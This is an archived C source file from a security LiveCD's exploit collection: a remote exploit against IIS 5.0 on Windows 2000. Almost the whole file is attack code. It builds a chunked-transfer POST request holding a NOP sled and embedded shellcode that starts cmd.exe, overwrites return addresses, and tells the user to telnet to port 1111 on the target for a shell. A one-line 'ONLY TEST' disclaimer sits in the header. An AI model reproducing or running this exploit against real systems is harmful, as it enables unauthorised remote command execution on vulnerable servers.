home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / 20020410.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  224 lines
  1. /*
  2. Windows 2000 Server Exploit By CHINANSL Security Team.
  3. Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
  4. Warning:THIS PROGRAM WILL ONLY TEST.
  5. CHINANSL Technology CO.,LTD
  6. http://www.chinansl.com
  7. keji@chinansl.com
  8. */
  9.  
  10. #include "stdafx.h"
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <windows.h>
  15. #pragma comment (lib,"Ws2_32")
  16.  
  17. int main(int argc, char* argv[])
  18. {
  19.         if(argc != 4)
  20.         {
  21.                 printf("%s ip port aspfilepath\n\n",argv
  22. [0]);
  23.                 printf("        ie. %s 127.0.0.1
  24. 80 /iisstart.asp\n",argv[0]);
  25.                 puts("  programed by keji@chinansl.com");
  26.  
  27.                 return 0;
  28.         }
  29.  
  30.         DWORD srcdata=0x01e2fb1c-4;//0x00457474;
  31.                 //address of SHELLCODE
  32.         DWORD
  33. jmpaddr=0x00457494;//0x77ebf094;//0x01e6fcec;//"\x1c\xfb\xe6
  34. \x01";///"\x0c\xfb\xe6\x01";
  35.  
  36.         char* destIP=argv[1];
  37.         char* destFile=argv[3];
  38.         int webport=atoi(argv[2]);
  39.         char* pad="\xcc\xcc\xcc\xcc"  "ADPA"  "\x02\x02\x02
  40. \x02"  "PADP";                          //16 bytes
  41.  
  42.         WSADATA ws;
  43.         SOCKET  s;
  44.         long result=0;
  45.         if(WSAStartup(0x0101,&ws) != 0)
  46.         {
  47.                 puts("WSAStartup() error");
  48.                 return -1;
  49.         }
  50.  
  51.         struct  sockaddr_in addr;
  52.         addr.sin_family=AF_INET;
  53.         addr.sin_port=htons(webport);
  54.         addr.sin_addr.s_addr=inet_addr(destIP);
  55.         s=socket(AF_INET,SOCK_STREAM,0);
  56.         if(s==-1)
  57.         {
  58.                 puts("Socket create error");
  59.                 return -1;
  60.         }
  61.  
  62.         if(connect(s,(struct sockaddr *)&addr,sizeof(addr))
  63. == -1)
  64.         {
  65.                 puts("Cannot connect to the specified
  66. host");
  67.                 return -1;
  68.         }
  69.  
  70.         char buff[4096];
  71. char* shellcode=
  72.  
  73. "\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33
  74. \xc9\x89"
  75. "\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65
  76. \x6c\x33\x32"
  77. "\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32
  78. \x2e\xab"
  79. "\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\xab\x32
  80. \xc0\x4f"
  81. "\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53
  82. \xff\xd0\x89"
  83. "\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53
  84. \xff\xd0"
  85. "\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75
  86. \xfc\xff\xd3\x89"
  87. "\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6
  88. \x66\xbe"
  89. "\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66
  90. \xbe\x3e\x02\x56"
  91. "\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56
  92. \xff\x75\xfc"
  93. "\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75
  94. \xfc\xff\xd3\x89"
  95. "\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75
  96. \xfc\xff\xd3\x89"
  97. "\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75
  98. \xfc\xff\xd3\x89"
  99. "\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45
  100. \xe0\x6a"
  101. "\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8
  102. \xff\xd3"
  103. "\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3
  104. \x89\x45"
  105. "\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13
  106. \xff\x75\xf8"
  107. "\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45
  108. \xc8\x6a"
  109. "\x03\xff\x75\xf8\xff\xd3\x89\x85
  110. \x1c\xff\xff\xff\x8d\x7d\xa0\x32"
  111. "\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0
  112. \xab\xf7\xd0"
  113. "\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8
  114. \xab\x33\xc0"
  115. "\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50
  116. \xff\x55"
  117. "\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4
  118. \x6a\x10"
  119. "\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75
  120. \xc4\xff"
  121. "\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45
  122. \xc0\x33"
  123. "\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50
  124. \xff\x55"
  125. "\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45
  126. \x94\x50"
  127. "\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44
  128. \x32\xc0"
  129. "\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01
  130. \x89\x47"
  131. "\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89
  132. \x47\x3c"
  133. "\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85
  134. \x38\xff"
  135. "\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51
  136. \x53\xff"
  137. "\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34
  138. \xff\xff\xff\x89"
  139. "\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85
  140. \x2c\xff\xff\xff\x50"
  141. "\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85
  142. \x2c\xff\xff\xff\x85"
  143. "\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85
  144. \x2c\xff\xff\xff\x50\x53"
  145. "\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0
  146. \x74\x6d"
  147. "\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30
  148. \xff\xff\xff\xff"
  149. "\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90
  150. \x90\x90"
  151. "\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90
  152. \x33\xc0"
  153. "\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0
  154. \xff\x55\xc8"
  155. "\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50
  156. \x8d\x85"
  157. "\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30
  158. \xff\xff"
  159. "\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4
  160. \xff\x75\xc4"
  161. "\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95
  162. \x1c\xff\xff\xff\x6a"
  163. "\xff\xff\x95\x18\xff\xff\xff";
  164.  
  165.  
  166.                 char* s1="POST ";// HTTP/1.1\r\n";
  167.                 char* s2="Accept: */*\r\n";
  168.                 char* s4="Content-Type: application/x-www-
  169. form-urlencoded\r\n";
  170.                 char* s5="Transfer-Encoding:
  171. chunked\r\n\r\n";
  172.                 char* sc="0\r\n\r\n\r\n";
  173.  
  174.                 char shellcodebuff[1024*8];
  175.                 memset(shellcodebuff,0x90,sizeof
  176. (shellcodebuff));
  177.                 memcpy(&shellcodebuff[sizeof(shellcodebuff)-
  178. strlen(shellcode)-1],shellcode,strlen(shellcode));
  179.                 shellcodebuff[sizeof(shellcodebuff)-1] = 0;
  180.  
  181.  
  182.         char sendbuff[1024*16];
  183.         memset(sendbuff,0,1024*16);
  184.  
  185.         sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %
  186. s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%
  187. s",s1,destFile,shellcodebuff,s2,destIP,s4,s5,pad/*,srcdata,j
  188. mpaddr*/,sc);
  189.  
  190.  
  191.         int sendlen=strlen(sendbuff);
  192.     *(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
  193.         *(DWORD *)strstr(sendbuff,"AAAA") = srcdata;
  194.  
  195.         result=send(s,sendbuff,sendlen,0);
  196.         if(result == -1 )
  197.         {
  198.                 puts("Send shellcode error!");
  199.                 return -1;
  200.         }
  201.  
  202.         memset(buff,0,4096);
  203.         result=recv(s,buff,sizeof(buff),0);
  204.  
  205.         if(strstr(buff,"<html>") != NULL)
  206.         {
  207.                 shutdown(s,0);
  208.                 closesocket(s);
  209.  
  210.                 puts("Send shellcode error!Try again!");
  211.                 return -1;
  212.         }
  213.  
  214.  
  215.         shutdown(s,0);
  216.         closesocket(s);
  217.         printf("\nUse <telnet %s 1111> to connect to the
  218. host\n",destIP);
  219.         puts("If you cannot connect to the host,try run
  220. this program again!");
  221.  
  222.   return 0;
  223. }
  224.